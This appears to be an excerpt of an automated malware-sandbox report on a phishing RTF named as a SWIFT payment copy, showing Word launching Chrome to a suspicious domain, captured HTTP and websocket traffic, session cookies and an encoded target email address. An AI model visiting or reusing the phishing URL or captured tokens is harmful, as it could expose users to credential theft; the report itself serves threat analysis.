2024-05-22 18:02:39 UTC	583	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 May 2024 18:02:39 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JgDZxGxbASIztOyQvO57CFPl6znsnXa2BfFgIdKEgNk08OTMSzp4g405r3ob9qTaoYizRBlrDaki0OtJ%2BMvnUyI7iaUWGYgOfpnnaD0Msty08IQYYKOGAQiDiB7plmhL3FfTkeaoXL77xCI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb7e8bf248c5d-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:02:39 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-22 18:02:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.17	59933	35.190.80.1	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:47 UTC	549	OUT	OPTIONS /report/v4?s=EAX%2FRU%2Bc7z2xxx%2FJ9wQlhyY7eqZcpLaGFfqm%2FpsPPQF%2FQfgPXygs2%2B54S9fdCZrRITVHyGwXx31xb6uu6g3XHuVjt0d8scfaSaecMWxgWl59qtw9o5ybzegDv2ylYQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://l6agz47874.eleteriod.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:02:47 UTC	336	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 22 May 2024 18:02:47 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	59934	35.190.80.1	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:48 UTC	482	OUT	POST /report/v4?s=EAX%2FRU%2Bc7z2xxx%2FJ9wQlhyY7eqZcpLaGFfqm%2FpsPPQF%2FQfgPXygs2%2B54S9fdCZrRITVHyGwXx31xb6uu6g3XHuVjt0d8scfaSaecMWxgWl59qtw9o5ybzegDv2ylYQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 888 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:02:48 UTC	888	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 33 32 33 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 30 34 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 36 61 67 7a 34 37 38 37 34 2e 65 Data Ascii: [{"age":33233,"body":{"elapsed_time":2042,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":404,"type":"http.error"},"type":"network-error","url":"https://l6agz47874.e
2024-05-22 18:02:48 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Wed, 22 May 2024 18:02:48 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	59935	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:03:00 UTC	1301	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l6agz47874.eleteriod.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: m39/iTEHBOJZgQigJUiDXQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-22 18:03:01 UTC	589	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 May 2024 18:03:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kh26BkIibc369pkKg3mgH8XHZkh2i%2FGe%2BHnk1Fx2TuOf3azuML7f8GI9Mq0xCbZyM4%2Bh5tWToCxJjS%2FI3t7KjsJhCRPZKC3jw9F05llnbpm3PmF7JGXbikQavrvp5rp2oV3R9tKZrSXTk1I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb8709b994308-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:03:01 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-22 18:03:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.17	59937	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:03:22 UTC	1301	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l6agz47874.eleteriod.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: aSVMZuhgikmYM+al6D/0Pg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-22 18:03:23 UTC	585	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 May 2024 18:03:23 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8rCBndJ5Sqo0PI2T8N1Fbj1t2bVn3njki%2BS1oEQ09j87gS1hDdihbT0AlB8kLEc1i722gxKyJKqTOGcxen8UicMrhIitEAEOpYybpopKjPFOf3HpRbOuCnPD1yZnY6Nw39P2p2%2FKElPyxbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb8f8ca7e4322-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:03:23 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-22 18:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXEPID: 4256, Parent PID: 4552

General

Target ID:	0
Start time:	14:01:16
Start date:	22/05/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Airbornemx SWIFT COPY _ Wednesday May 2024..rtf" /o ""
Imagebase:	0xf30000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6716, Parent PID: 4256

General

Target ID:	5
Start time:	14:01:35
Start date:	22/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6920, Parent PID: 6716

General

Target ID:	6
Start time:	14:01:36
Start date:	22/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,11068479101874162425,8933108518678558561,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly